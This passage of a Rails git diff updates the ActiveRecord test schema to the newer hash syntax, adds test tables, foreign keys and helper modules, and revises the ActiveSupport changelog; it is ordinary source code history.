     t.string :writer_type
@@ -268,153 +303,156 @@ ActiveRecord::Schema.define do
     t.string :author_id
   end
 
-  create_table :events, :force => true do |t|
-    t.string :title, :limit => 5
+  create_table :events, force: true do |t|
+    t.string :title, limit: 5
   end
 
-  create_table :eyes, :force => true do |t|
+  create_table :eyes, force: true do |t|
   end
 
-  create_table :funny_jokes, :force => true do |t|
+  create_table :funny_jokes, force: true do |t|
     t.string :name
   end
 
-  create_table :cold_jokes, :force => true do |t|
-    t.string :name
+  create_table :cold_jokes, force: true do |t|
+    t.string :cold_name
   end
 
-  create_table :friendships, :force => true do |t|
+  create_table :friendships, force: true do |t|
     t.integer :friend_id
     t.integer :follower_id
   end
 
-  create_table :goofy_string_id, :force => true, :id => false do |t|
-    t.string :id, :null => false
+  create_table :goofy_string_id, force: true, id: false do |t|
+    t.string :id, null: false
     t.string :info
   end
 
-  create_table :having, :force => true do |t|
+  create_table :having, force: true do |t|
     t.string :where
   end
 
-  create_table :guids, :force => true do |t|
+  create_table :guids, force: true do |t|
     t.column :key, :string
   end
 
-  create_table :inept_wizards, :force => true do |t|
-    t.column :name, :string, :null => false
-    t.column :city, :string, :null => false
+  create_table :inept_wizards, force: true do |t|
+    t.column :name, :string, null: false
+    t.column :city, :string, null: false
     t.column :type, :string
   end
 
-  create_table :integer_limits, :force => true do |t|
+  create_table :integer_limits, force: true do |t|
     t.integer :"c_int_without_limit"
     (1..8).each do |i|
-      t.integer :"c_int_#{i}", :limit => i
+      t.integer :"c_int_#{i}", limit: i
     end
   end
 
-  create_table :invoices, :force => true do |t|
+  create_table :invoices, force: true do |t|
     t.integer :balance
     t.datetime :updated_at
   end
 
-  create_table :iris, :force => true do |t|
+  create_table :iris, force: true do |t|
     t.references :eye
     t.string     :color
   end
 
-  create_table :items, :force => true do |t|
+  create_table :items, force: true do |t|
     t.column :name, :string
   end
 
-  create_table :jobs, :force => true do |t|
+  create_table :jobs, force: true do |t|
     t.integer :ideal_reference_id
   end
 
-  create_table :keyboards, :force => true, :id  => false do |t|
+  create_table :keyboards, force: true, id: false do |t|
     t.primary_key :key_number
     t.string      :name
   end
 
-  create_table :legacy_things, :force => true do |t|
+  create_table :legacy_things, force: true do |t|
     t.integer :tps_report_number
-    t.integer :version, :null => false, :default => 0
+    t.integer :version, null: false, default: 0
   end
 
-  create_table :lessons, :force => true do |t|
+  create_table :lessons, force: true do |t|
     t.string :name
   end
 
-  create_table :lessons_students, :id => false, :force => true do |t|
+  create_table :lessons_students, id: false, force: true do |t|
     t.references :lesson
     t.references :student
   end
 
-  create_table :lint_models, :force => true
+  create_table :lint_models, force: true
 
-  create_table :line_items, :force => true do |t|
+  create_table :line_items, force: true do |t|
     t.integer :invoice_id
     t.integer :amount
   end
 
-  create_table :lock_without_defaults, :force => true do |t|
+  create_table :lock_without_defaults, force: true do |t|
     t.column :lock_version, :integer
   end
 
-  create_table :lock_without_defaults_cust, :force => true do |t|
+  create_table :lock_without_defaults_cust, force: true do |t|
     t.column :custom_lock_version, :integer
   end
 
-  create_table :mateys, :id => false, :force => true do |t|
+  create_table :magazines, force: true do |t|
+  end
+
+  create_table :mateys, id: false, force: true do |t|
     t.column :pirate_id, :integer
     t.column :target_id, :integer
     t.column :weight, :integer
   end
 
-  create_table :members, :force => true do |t|
+  create_table :members, force: true do |t|
     t.string :name
     t.integer :member_type_id
   end
 
-  create_table :member_details, :force => true do |t|
+  create_table :member_details, force: true do |t|
     t.integer :member_id
     t.integer :organization_id
     t.string :extra_data
   end
 
-  create_table :member_friends, :force => true, :id => false do |t|
+  create_table :member_friends, force: true, id: false do |t|
     t.integer :member_id
     t.integer :friend_id
   end
 
-  create_table :memberships, :force => true do |t|
+  create_table :memberships, force: true do |t|
     t.datetime :joined_on
     t.integer :club_id, :member_id
-    t.boolean :favourite, :default => false
+    t.boolean :favourite, default: false
     t.string :type
   end
 
-  create_table :member_types, :force => true do |t|
+  create_table :member_types, force: true do |t|
     t.string :name
   end
 
-  create_table :minivans, :force => true, :id => false do |t|
+  create_table :minivans, force: true, id: false do |t|
     t.string :minivan_id
     t.string :name
     t.string :speedometer_id
     t.string :color
   end
 
-  create_table :minimalistics, :force => true do |t|
+  create_table :minimalistics, force: true do |t|
   end
 
-  create_table :mixed_case_monkeys, :force => true, :id => false do |t|
+  create_table :mixed_case_monkeys, force: true, id: false do |t|
     t.primary_key :monkeyID
     t.integer     :fleaCount
   end
 
-  create_table :mixins, :force => true do |t|
+  create_table :mixins, force: true do |t|
     t.integer  :parent_id
     t.integer  :pos
     t.datetime :created_at
@@ -425,52 +463,54 @@ ActiveRecord::Schema.define do
     t.string   :type
   end
 
-  create_table :movies, :force => true, :id => false do |t|
+  create_table :movies, force: true, id: false do |t|
     t.primary_key :movieid
     t.string      :name
   end
 
-  create_table :numeric_data, :force => true do |t|
-    t.decimal :bank_balance, :precision => 10, :scale => 2
-    t.decimal :big_bank_balance, :precision => 15, :scale => 2
-    t.decimal :world_population, :precision => 10, :scale => 0
-    t.decimal :my_house_population, :precision => 2, :scale => 0
-    t.decimal :decimal_number_with_default, :precision => 3, :scale => 2, :default => 2.78
+  create_table :numeric_data, force: true do |t|
+    t.decimal :bank_balance, precision: 10, scale: 2
+    t.decimal :big_bank_balance, precision: 15, scale: 2
+    t.decimal :world_population, precision: 10, scale: 0
+    t.decimal :my_house_population, precision: 2, scale: 0
+    t.decimal :decimal_number_with_default, precision: 3, scale: 2, default: 2.78
     t.float   :temperature
     # Oracle/SQLServer supports precision up to 38
-    if current_adapter?(:OracleAdapter,:SQLServerAdapter)
-      t.decimal :atoms_in_universe, :precision => 38, :scale => 0
+    if current_adapter?(:OracleAdapter, :SQLServerAdapter)
+      t.decimal :atoms_in_universe, precision: 38, scale: 0
+    elsif current_adapter?(:FbAdapter)
+      t.decimal :atoms_in_universe, precision: 18, scale: 0
     else
-      t.decimal :atoms_in_universe, :precision => 55, :scale => 0
+      t.decimal :atoms_in_universe, precision: 55, scale: 0
     end
   end
 
-  create_table :orders, :force => true do |t|
+  create_table :orders, force: true do |t|
     t.string  :name
     t.integer :billing_customer_id
     t.integer :shipping_customer_id
   end
 
-  create_table :organizations, :force => true do |t|
+  create_table :organizations, force: true do |t|
     t.string :name
   end
 
-  create_table :owners, :primary_key => :owner_id ,:force => true do |t|
+  create_table :owners, primary_key: :owner_id, force: true do |t|
     t.string :name
     t.column :updated_at, :datetime
     t.column :happy_at,   :datetime
     t.string :essay_id
   end
 
-  create_table :paint_colors, :force => true do |t|
+  create_table :paint_colors, force: true do |t|
     t.integer :non_poly_one_id
   end
 
-  create_table :paint_textures, :force => true do |t|
+  create_table :paint_textures, force: true do |t|
     t.integer :non_poly_two_id
   end
 
-  create_table :parrots, :force => true do |t|
+  create_table :parrots, force: true do |t|
     t.column :name, :string
     t.column :color, :string
     t.column :parrot_sti_class, :string
@@ -481,43 +521,50 @@ ActiveRecord::Schema.define do
     t.column :updated_on, :datetime
   end
 
-  create_table :parrots_pirates, :id => false, :force => true do |t|
+  create_table :parrots_pirates, id: false, force: true do |t|
     t.column :parrot_id, :integer
     t.column :pirate_id, :integer
   end
 
-  create_table :parrots_treasures, :id => false, :force => true do |t|
+  create_table :parrots_treasures, id: false, force: true do |t|
     t.column :parrot_id, :integer
     t.column :treasure_id, :integer
   end
 
-  create_table :people, :force => true do |t|
-    t.string     :first_name, :null => false
+  create_table :people, force: true do |t|
+    t.string     :first_name, null: false
     t.references :primary_contact
-    t.string     :gender, :limit => 1
+    t.string     :gender, limit: 1
     t.references :number1_fan
-    t.integer    :lock_version, :null => false, :default => 0
+    t.integer    :lock_version, null: false, default: 0
     t.string     :comments
-    t.integer    :followers_count, :default => 0
-    t.integer    :friends_too_count, :default => 0
+    t.integer    :followers_count, default: 0
+    t.integer    :friends_too_count, default: 0
     t.references :best_friend
     t.references :best_friend_of
     t.integer    :insures, null: false, default: 0
-    t.timestamps
+    t.timestamp :born_at
+    t.timestamps null: false
   end
 
-  create_table :peoples_treasures, :id => false, :force => true do |t|
+  create_table :peoples_treasures, id: false, force: true do |t|
     t.column :rich_person_id, :integer
     t.column :treasure_id, :integer
   end
 
-  create_table :pets, :primary_key => :pet_id ,:force => true do |t|
+  create_table :personal_legacy_things, force: true do |t|
+    t.integer :tps_report_number
+    t.integer :person_id
+    t.integer :version, null: false, default: 0
+  end
+
+  create_table :pets, primary_key: :pet_id, force: true do |t|
     t.string :name
     t.integer :owner_id, :integer
-    t.timestamps
+    t.timestamps null: false
   end
 
-  create_table :pirates, :force => true do |t|
+  create_table :pirates, force: true do |t|
     t.column :catchphrase, :string
     t.column :parrot_id, :integer
     t.integer :non_validated_parrot_id
@@ -525,74 +572,98 @@ ActiveRecord::Schema.define do
     t.column :updated_on, :datetime
   end
 
-  create_table :posts, :force => true do |t|
+  create_table :posts, force: true do |t|
     t.integer :author_id
-    t.string  :title, :null => false
+    t.string  :title, null: false
     # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
     # Oracle SELECT WHERE clause which causes many unit test failures
     if current_adapter?(:OracleAdapter)
-      t.string  :body, :null => false, :limit => 4000
+      t.string  :body, null: false, limit: 4000
     else
-      t.text    :body, :null => false
+      t.text    :body, null: false
     end
     t.string  :type
-    t.integer :comments_count, :default => 0
-    t.integer :taggings_count, :default => 0
-    t.integer :taggings_with_delete_all_count, :default => 0
-    t.integer :taggings_with_destroy_count, :default => 0
-    t.integer :tags_count, :default => 0
-    t.integer :tags_with_destroy_count, :default => 0
-    t.integer :tags_with_nullify_count, :default => 0
+    t.integer :comments_count, default: 0
+    t.integer :taggings_with_delete_all_count, default: 0
+    t.integer :taggings_with_destroy_count, default: 0
+    t.integer :tags_count, default: 0
+    t.integer :tags_with_destroy_count, default: 0
+    t.integer :tags_with_nullify_count, default: 0
+  end
+
+  create_table :serialized_posts, force: true do |t|
+    t.integer :author_id
+    t.string :title, null: false
+  end
+
+  create_table :images, force: true do |t|
+    t.integer :imageable_identifier
+    t.string :imageable_class
   end
 
-  create_table :price_estimates, :force => true do |t|
+  create_table :price_estimates, force: true do |t|
     t.string :estimate_of_type
     t.integer :estimate_of_id
     t.integer :price
   end
 
-  create_table :products, :force => true do |t|
+  create_table :products, force: true do |t|
     t.references :collection
+    t.references :type
     t.string     :name
   end
 
-  create_table :projects, :force => true do |t|
+  create_table :product_types, force: true do |t|
+    t.string :name
+  end
+
+  create_table :projects, force: true do |t|
     t.string :name
     t.string :type
   end
 
-  create_table :randomly_named_table, :force => true do |t|
+  create_table :randomly_named_table1, force: true do |t|
+    t.string  :some_attribute
+    t.integer :another_attribute
+  end
+
+  create_table :randomly_named_table2, force: true do |t|
+    t.string  :some_attribute
+    t.integer :another_attribute
+  end
+
+  create_table :randomly_named_table3, force: true do |t|
     t.string  :some_attribute
     t.integer :another_attribute
   end
 
-  create_table :ratings, :force => true do |t|
+  create_table :ratings, force: true do |t|
     t.integer :comment_id
     t.integer :value
   end
 
-  create_table :readers, :force => true do |t|
-    t.integer :post_id, :null => false
-    t.integer :person_id, :null => false
-    t.boolean :skimmer, :default => false
+  create_table :readers, force: true do |t|
+    t.integer :post_id, null: false
+    t.integer :person_id, null: false
+    t.boolean :skimmer, default: false
     t.integer :first_post_id
   end
 
-  create_table :references, :force => true do |t|
+  create_table :references, force: true do |t|
     t.integer :person_id
     t.integer :job_id
     t.boolean :favourite
-    t.integer :lock_version, :default => 0
+    t.integer :lock_version, default: 0
   end
 
-  create_table :shape_expressions, :force => true do |t|
+  create_table :shape_expressions, force: true do |t|
     t.string  :paint_type
     t.integer :paint_id
     t.string  :shape_type
     t.integer :shape_id
   end
 
-  create_table :ships, :force => true do |t|
+  create_table :ships, force: true do |t|
     t.string :name
     t.integer :pirate_id
     t.integer :update_only_pirate_id
@@ -602,51 +673,53 @@ ActiveRecord::Schema.define do
     t.datetime :updated_on
   end
 
-  create_table :ship_parts, :force => true do |t|
+  create_table :ship_parts, force: true do |t|
     t.string :name
     t.integer :ship_id
   end
 
-  create_table :speedometers, :force => true, :id => false do |t|
+  create_table :speedometers, force: true, id: false do |t|
     t.string :speedometer_id
     t.string :name
     t.string :dashboard_id
   end
 
-  create_table :sponsors, :force => true do |t|
+  create_table :sponsors, force: true do |t|
     t.integer :club_id
     t.integer :sponsorable_id
     t.string :sponsorable_type
   end
 
-  create_table :string_key_objects, :id => false, :primary_key => :id, :force => true do |t|
+  create_table :string_key_objects, id: false, primary_key: :id, force: true do |t|
     t.string     :id
     t.string     :name
-    t.integer    :lock_version, :null => false, :default => 0
+    t.integer    :lock_version, null: false, default: 0
   end
 
-  create_table :students, :force => true do |t|
+  create_table :students, force: true do |t|
     t.string :name
+    t.boolean :active
+    t.integer :college_id
   end
 
-  create_table :subscribers, :force => true, :id => false do |t|
-    t.string :nick, :null => false
+  create_table :subscribers, force: true, id: false do |t|
+    t.string :nick, null: false
     t.string :name
-    t.column :books_count, :integer, :null => false, :default => 0
+    t.column :books_count, :integer, null: false, default: 0
   end
-  add_index :subscribers, :nick, :unique => true
+  add_index :subscribers, :nick, unique: true
 
-  create_table :subscriptions, :force => true do |t|
+  create_table :subscriptions, force: true do |t|
     t.string :subscriber_id
     t.integer :book_id
   end
 
-  create_table :tags, :force => true do |t|
+  create_table :tags, force: true do |t|
     t.column :name, :string
-    t.column :taggings_count, :integer, :default => 0
+    t.column :taggings_count, :integer, default: 0
   end
 
-  create_table :taggings, :force => true do |t|
+  create_table :taggings, force: true do |t|
     t.column :tag_id, :integer
     t.column :super_tag_id, :integer
     t.column :taggable_type, :string
@@ -654,94 +727,101 @@ ActiveRecord::Schema.define do
     t.string :comment
   end
 
-  create_table :tasks, :force => true do |t|
+  create_table :tasks, force: true do |t|
     t.datetime :starting
     t.datetime :ending
   end
 
-  create_table :topics, :force => true do |t|
-    t.string   :title
+  create_table :topics, force: true do |t|
+    t.string   :title, limit: 250
     t.string   :author_name
     t.string   :author_email_address
-    t.datetime :written_on
+    if mysql_56?
+      t.datetime :written_on, precision: 6
+    else
+      t.datetime :written_on
+    end
     t.time     :bonus_time
     t.date     :last_read
     # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
     # Oracle SELECT WHERE clause which causes many unit test failures
     if current_adapter?(:OracleAdapter)
-      t.string   :content, :limit => 4000
-      t.string   :important, :limit => 4000
+      t.string   :content, limit: 4000
+      t.string   :important, limit: 4000
     else
       t.text     :content
       t.text     :important
     end
-    t.boolean  :approved, :default => true
-    t.integer  :replies_count, :default => 0
-    t.integer  :unique_replies_count, :default => 0
+    t.boolean  :approved, default: true
+    t.integer  :replies_count, default: 0
+    t.integer  :unique_replies_count, default: 0
     t.integer  :parent_id
     t.string   :parent_title
     t.string   :type
     t.string   :group
-    t.timestamps
+    t.timestamps null: true
   end
 
-  create_table :toys, :primary_key => :toy_id ,:force => true do |t|
+  create_table :toys, primary_key: :toy_id, force: true do |t|
     t.string :name
     t.integer :pet_id, :integer
-    t.timestamps
+    t.timestamps null: false
   end
 
-  create_table :traffic_lights, :force => true do |t|
+  create_table :traffic_lights, force: true do |t|
     t.string   :location
     t.string   :state
-    t.text     :long_state, :null => false
+    t.text     :long_state, null: false
     t.datetime :created_at
     t.datetime :updated_at
   end
 
-  create_table :treasures, :force => true do |t|
+  create_table :treasures, force: true do |t|
     t.column :name, :string
     t.column :type, :string
     t.column :looter_id, :integer
     t.column :looter_type, :string
+    t.belongs_to :ship
   end
 
-  create_table :tyres, :force => true do |t|
+  create_table :tyres, force: true do |t|
     t.integer :car_id
   end
 
-  create_table :variants, :force => true do |t|
+  create_table :variants, force: true do |t|
     t.references :product
     t.string     :name
   end
 
-  create_table :vertices, :force => true do |t|
+  create_table :vertices, force: true do |t|
     t.column :label, :string
   end
 
-  create_table 'warehouse-things', :force => true do |t|
+  create_table 'warehouse-things', force: true do |t|
     t.integer :value
   end
 
   [:circles, :squares, :triangles, :non_poly_ones, :non_poly_twos].each do |t|
-    create_table(t, :force => true) { }
+    create_table(t, force: true) { }
   end
 
   # NOTE - the following 4 tables are used by models that have :inverse_of options on the associations
-  create_table :men, :force => true do |t|
+  create_table :men, force: true do |t|
     t.string  :name
   end
 
-  create_table :faces, :force => true do |t|
+  create_table :faces, force: true do |t|
     t.string  :description
     t.integer :man_id
     t.integer :polymorphic_man_id
     t.string  :polymorphic_man_type
+    t.integer :poly_man_without_inverse_id
+    t.string  :poly_man_without_inverse_type
     t.integer :horrible_polymorphic_man_id
     t.string  :horrible_polymorphic_man_type
   end
 
-  create_table :interests, :force => true do |t|
+  create_table :interests, force: true do |t|
     t.string :topic
     t.integer :man_id
     t.integer :polymorphic_man_id
@@ -749,64 +829,93 @@ ActiveRecord::Schema.define do
     t.integer :zine_id
   end
 
-  create_table :wheels, :force => true do |t|
-    t.references :wheelable, :polymorphic => true
+  create_table :wheels, force: true do |t|
+    t.references :wheelable, polymorphic: true
   end
 
-  create_table :zines, :force => true do |t|
+  create_table :zines, force: true do |t|
     t.string :title
   end
 
-  create_table :countries, :force => true, :id => false, :primary_key => 'country_id' do |t|
+  create_table :countries, force: true, id: false, primary_key: 'country_id' do |t|
     t.string :country_id
     t.string :name
   end
-  create_table :treaties, :force => true, :id => false, :primary_key => 'treaty_id' do |t|
+  create_table :treaties, force: true, id: false, primary_key: 'treaty_id' do |t|
     t.string :treaty_id
     t.string :name
   end
-  create_table :countries_treaties, :force => true, :id => false do |t|
-    t.string :country_id, :null => false
-    t.string :treaty_id, :null => false
+  create_table :countries_treaties, force: true, id: false do |t|
+    t.string :country_id, null: false
+    t.string :treaty_id, null: false
   end
 
-  create_table :liquid, :force => true do |t|
+  create_table :liquid, force: true do |t|
     t.string :name
   end
-  create_table :molecules, :force => true do |t|
+  create_table :molecules, force: true do |t|
     t.integer :liquid_id
     t.string :name
   end
-  create_table :electrons, :force => true do |t|
+  create_table :electrons, force: true do |t|
     t.integer :molecule_id
     t.string :name
   end
-  create_table :weirds, :force => true do |t|
+  create_table :weirds, force: true do |t|
     t.string 'a$b'
     t.string 'なまえ'
     t.string 'from'
   end
 
+  create_table :hotels, force: true do |t|
+  end
+  create_table :departments, force: true do |t|
+    t.integer :hotel_id
+  end
+  create_table :cake_designers, force: true do |t|
+  end
+  create_table :drink_designers, force: true do |t|
+  end
+  create_table :chefs, force: true do |t|
+    t.integer :employable_id
+    t.string :employable_type
+    t.integer :department_id
+  end
+
+  create_table :records, force: true do |t|
+  end
+
   except 'SQLite' do
     # fk_test_has_fk should be before fk_test_has_pk
-    create_table :fk_test_has_fk, :force => true do |t|
-      t.integer :fk_id, :null => false
+    create_table :fk_test_has_fk, force: true do |t|
+      t.integer :fk_id, null: false
     end
 
-    create_table :fk_test_has_pk, :force => true do |t|
+    create_table :fk_test_has_pk, force: true, primary_key: "pk_id" do |t|
     end
 
-    execute "ALTER TABLE fk_test_has_fk ADD CONSTRAINT fk_name FOREIGN KEY (#{quote_column_name 'fk_id'}) REFERENCES #{quote_table_name 'fk_test_has_pk'} (#{quote_column_name 'id'})"
+    add_foreign_key :fk_test_has_fk, :fk_test_has_pk, column: "fk_id", name: "fk_name", primary_key: "pk_id"
+    add_foreign_key :lessons_students, :students
+  end
+
+  create_table :overloaded_types, force: true do |t|
+    t.float :overloaded_float, default: 500
+    t.float :unoverloaded_float
+    t.string :overloaded_string_with_limit, limit: 255
+    t.string :string_with_default, default: 'the original default'
+  end
 
-    execute "ALTER TABLE lessons_students ADD CONSTRAINT student_id_fk FOREIGN KEY (#{quote_column_name 'student_id'}) REFERENCES #{quote_table_name 'students'} (#{quote_column_name 'id'})"
+  create_table :users, force: true do |t|
+    t.string :token
+    t.string :auth_token
   end
 end
 
-Course.connection.create_table :courses, :force => true do |t|
-  t.column :name, :string, :null => false
+Course.connection.create_table :courses, force: true do |t|
+  t.column :name, :string, null: false
   t.column :college_id, :integer
 end
 
-College.connection.create_table :colleges, :force => true do |t|
-  t.column :name, :string, :null => false
+College.connection.create_table :colleges, force: true do |t|
+  t.column :name, :string, null: false
 end
diff --git a/activerecord/test/schema/sqlite_specific_schema.rb b/activerecord/test/schema/sqlite_specific_schema.rb
index e9ddeb32cf..b5552c2755 100644
--- a/activerecord/test/schema/sqlite_specific_schema.rb
+++ b/activerecord/test/schema/sqlite_specific_schema.rb
@@ -1,16 +1,13 @@
 ActiveRecord::Schema.define do
-  # For sqlite 3.1.0+, make a table with an autoincrement column
-  if supports_autoincrement?
-    create_table :table_with_autoincrement, :force => true do |t|
-      t.column :name, :string
-    end
+  create_table :table_with_autoincrement, :force => true do |t|
+    t.column :name, :string
   end
 
   execute "DROP TABLE fk_test_has_fk" rescue nil
   execute "DROP TABLE fk_test_has_pk" rescue nil
   execute <<_SQL
   CREATE TABLE 'fk_test_has_pk' (
-    'id' INTEGER NOT NULL PRIMARY KEY
+    'pk_id' INTEGER NOT NULL PRIMARY KEY
   );
 _SQL
 
@@ -19,7 +16,7 @@ _SQL
     'id'    INTEGER NOT NULL PRIMARY KEY,
     'fk_id' INTEGER NOT NULL,
 
-    FOREIGN KEY ('fk_id') REFERENCES 'fk_test_has_pk'('id')
+    FOREIGN KEY ('fk_id') REFERENCES 'fk_test_has_pk'('pk_id')
   );
 _SQL
-end
\ No newline at end of file
+end
diff --git a/activerecord/test/support/connection.rb b/activerecord/test/support/connection.rb
index 196b3a9493..d11fd9cfc1 100644
--- a/activerecord/test/support/connection.rb
+++ b/activerecord/test/support/connection.rb
@@ -15,7 +15,7 @@ module ARTest
     puts "Using #{connection_name}"
     ActiveRecord::Base.logger = ActiveSupport::Logger.new("debug.log", 0, 100 * 1024 * 1024)
     ActiveRecord::Base.configurations = connection_config
-    ActiveRecord::Base.establish_connection 'arunit'
-    ARUnit2Model.establish_connection 'arunit2'
+    ActiveRecord::Base.establish_connection :arunit
+    ARUnit2Model.establish_connection :arunit2
   end
 end
diff --git a/activerecord/test/support/connection_helper.rb b/activerecord/test/support/connection_helper.rb
new file mode 100644
index 0000000000..4a19e5df44
--- /dev/null
+++ b/activerecord/test/support/connection_helper.rb
@@ -0,0 +1,14 @@
+module ConnectionHelper
+  def run_without_connection
+    original_connection = ActiveRecord::Base.remove_connection
+    yield original_connection
+  ensure
+    ActiveRecord::Base.establish_connection(original_connection)
+  end
+
+  # Used to drop all cache query plans in tests.
+  def reset_connection
+    original_connection = ActiveRecord::Base.remove_connection
+    ActiveRecord::Base.establish_connection(original_connection)
+  end
+end
diff --git a/activerecord/test/support/ddl_helper.rb b/activerecord/test/support/ddl_helper.rb
new file mode 100644
index 0000000000..43cb235e01
--- /dev/null
+++ b/activerecord/test/support/ddl_helper.rb
@@ -0,0 +1,8 @@
+module DdlHelper
+  def with_example_table(connection, table_name, definition = nil)
+    connection.execute("CREATE TABLE #{table_name}(#{definition})")
+    yield
+  ensure
+    connection.execute("DROP TABLE #{table_name}")
+  end
+end
diff --git a/activerecord/test/support/schema_dumping_helper.rb b/activerecord/test/support/schema_dumping_helper.rb
new file mode 100644
index 0000000000..2d1651454d
--- /dev/null
+++ b/activerecord/test/support/schema_dumping_helper.rb
@@ -0,0 +1,20 @@
+module SchemaDumpingHelper
+  def dump_table_schema(table, connection = ActiveRecord::Base.connection)
+    old_ignore_tables = ActiveRecord::SchemaDumper.ignore_tables
+    ActiveRecord::SchemaDumper.ignore_tables = connection.tables - [table]
+    stream = StringIO.new
+    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+    stream.string
+  ensure
+    ActiveRecord::SchemaDumper.ignore_tables = old_ignore_tables
+  end
+
+  def dump_all_table_schema(ignore_tables)
+    old_ignore_tables, ActiveRecord::SchemaDumper.ignore_tables = ActiveRecord::SchemaDumper.ignore_tables, ignore_tables
+    stream = StringIO.new
+    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+    stream.string
+  ensure
+    ActiveRecord::SchemaDumper.ignore_tables = old_ignore_tables
+  end
+end
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
index f15297f279..44735e4b75 100644
--- a/activesupport/CHANGELOG.md
+++ b/activesupport/CHANGELOG.md
@@ -1,192 +1,199 @@
-*   Ensure that autoloaded constants in all-caps nestings are marked as
-    autoloaded.
+*   Fixed a roundtrip problem with AS::SafeBuffer where primitive-like strings
+    will be dumped as primitives:
 
-    *Simon Coffey*
+    Before:
 
-*   Add String#remove(pattern) as a short-hand for the common pattern of String#gsub(pattern, '')
+       YAML.load ActiveSupport::SafeBuffer.new("Hello").to_yaml  # => "Hello"
+       YAML.load ActiveSupport::SafeBuffer.new("true").to_yaml   # => true
+       YAML.load ActiveSupport::SafeBuffer.new("false").to_yaml  # => false
+       YAML.load ActiveSupport::SafeBuffer.new("1").to_yaml      # => 1
+       YAML.load ActiveSupport::SafeBuffer.new("1.1").to_yaml    # => 1.1
 
-    *DHH*
+     After:
 
-*   Adds a new deprecation behaviour that raises an exception. Throwing this
-    line into +config/environments/development.rb+
+       YAML.load ActiveSupport::SafeBuffer.new("Hello").to_yaml  # => "Hello"
+       YAML.load ActiveSupport::SafeBuffer.new("true").to_yaml   # => "true"
+       YAML.load ActiveSupport::SafeBuffer.new("false").to_yaml  # => "false"
+       YAML.load ActiveSupport::SafeBuffer.new("1").to_yaml      # => "1"
+       YAML.load ActiveSupport::SafeBuffer.new("1.1").to_yaml    # => "1.1"
 
-        ActiveSupport::Deprecation.behavior = :raise
+    *Godfrey Chan*
 
-    will cause the application to raise an +ActiveSupport::DeprecationException+
-    on deprecations.
+*   Enable number_to_percentage to keep the number's precision by allowing :precision to be nil
 
-    Use this for aggressive deprecation cleanups.
+    *Jack Xu*
 
-    *Xavier Noria*
+*   config_accessor became a private method, as with Ruby's attr_accessor.
 
-*   Remove 'cow' => 'kine' irregular inflection from default inflections.
+    *Akira Matsuda*
 
-    *Andrew White*
+*   `AS::Testing::TimeHelpers#travel_to` now changes `DateTime.now` as well as
+    `Time.now` and `Date.today`.
 
-*   Add `DateTime#to_s(:iso8601)` and `Date#to_s(:iso8601)` for consistency.
+    *Yuki Nishijima*
 
-    *Andrew White*
+*   Add `file_fixture` to `ActiveSupport::TestCase`.
+    It provides a simple mechanism to access sample files in your test cases.
 
-*   Add `Time#to_s(:iso8601)` for easy conversion of times to the iso8601 format for easy Javascript date parsing.
+    By default file fixtures are stored in `test/fixtures/files`. This can be
+    configured per test-case using the `file_fixture_path` class attribute.
 
-    *DHH*
-
-*   Improve `ActiveSupport::Cache::MemoryStore` cache size calculation.
-    The memory used by a key/entry pair is calculated via `#cached_size`:
-
-        def cached_size(key, entry)
-          key.to_s.bytesize + entry.size + PER_ENTRY_OVERHEAD
-        end
-
-    The value of `PER_ENTRY_OVERHEAD` is 240 bytes based on an [empirical
-    estimation](https://gist.github.com/ssimeonov/6047200) for 64-bit MRI on
-    1.9.3 and 2.0. GH#11512
-
-    *Simeon Simeonov*
-
-*   Only raise `Module::DelegationError` if it's the source of the exception.
-
-    Fixes #10559
-
-    *Andrew White*
-
-*   Make `Time.at_with_coercion` retain the second fraction and return local time.
+    *Yves Senn*
 
-    Fixes #11350
+*   Return value of yielded block in `File.atomic_write`.
 
-    *Neer Friedman*, *Andrew White*
+    *Ian Ker-Seymer*
 
-*   Make `HashWithIndifferentAccess#select` always return the hash, even when
-    `Hash#select!` returns `nil`, to allow further chaining.
+*   Duplicate frozen array when assigning it to a HashWithIndifferentAccess so
+    that it doesn't raise a `RuntimeError` when calling `map!` on it in `convert_value`.
 
-    *Marc Schütz*
+    Fixes #18550.
 
-*   Remove deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`).
+    *Aditya Kapoor*
 
-    *Arun Agrawal*
+*   Add missing time zone definitions for Russian Federation and sync them
+    with `zone.tab` file from tzdata version 2014j (latest).
 
-*   Remove deprecated `Module#local_constant_names` in favor of `Module#local_constants`.
+    *Andrey Novikov*
 
-    *Arun Agrawal*
+*   Add `SecureRandom.base58` for generation of random base58 strings.
 
-*   Remove deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_fromat`.
+    *Matthew Draper*, *Guillermo Iguaran*
 
-    *Arun Agrawal*
+*   Add `#prev_day` and `#next_day` counterparts to `#yesterday` and
+    `#tomorrow` for `Date`, `Time`, and `DateTime`.
 
-*   Remove deprecated `Logger` core extensions (`core_ext/logger.rb`).
+    *George Claghorn*
 
-    *Carlos Antonio da Silva*
+*   Add `same_time` option to `#next_week` and `#prev_week` for `Date`, `Time`,
+    and `DateTime`.
 
-*   Remove deprecated `Time#time_with_datetime_fallback`, `Time#utc_time`
-    and `Time#local_time` in favor of `Time#utc` and `Time#local`.
+    *George Claghorn*
 
-    *Vipul A M*
+*   Add `#on_weekend?`, `#next_weekday`, `#prev_weekday` methods to `Date`,
+    `Time`, and `DateTime`.
 
-*   Remove deprecated `Hash#diff` with no replacement.
+    `#on_weekend?` returns true if the receiving date/time falls on a Saturday
+    or Sunday.
 
-    If you're using it to compare hashes for the purpose of testing, please use
-    MiniTest's `assert_equal` instead.
+    `#next_weekday` returns a new date/time representing the next day that does
+    not fall on a Saturday or Sunday.
 
-    *Carlos Antonio da Silva*
+    `#prev_weekday` returns a new date/time representing the previous day that
+    does not fall on a Saturday or Sunday.
 
-*   Remove deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`.
+    *George Claghorn*
 
-    *Vipul A M*
+*   Change the default test order from `:sorted` to `:random`.
 
-*   Remove deprecated `Proc#bind` with no replacement.
+    *Rafael Mendonça França*
 
-    *Carlos Antonio da Silva*
+*   Remove deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`.
 
-*   Remove deprecated `Array#uniq_by` and `Array#uniq_by!`, use native
-    `Array#uniq` and `Array#uniq!` instead.
+    *Rafael Mendonça França*
 
-    *Carlos Antonio da Silva*
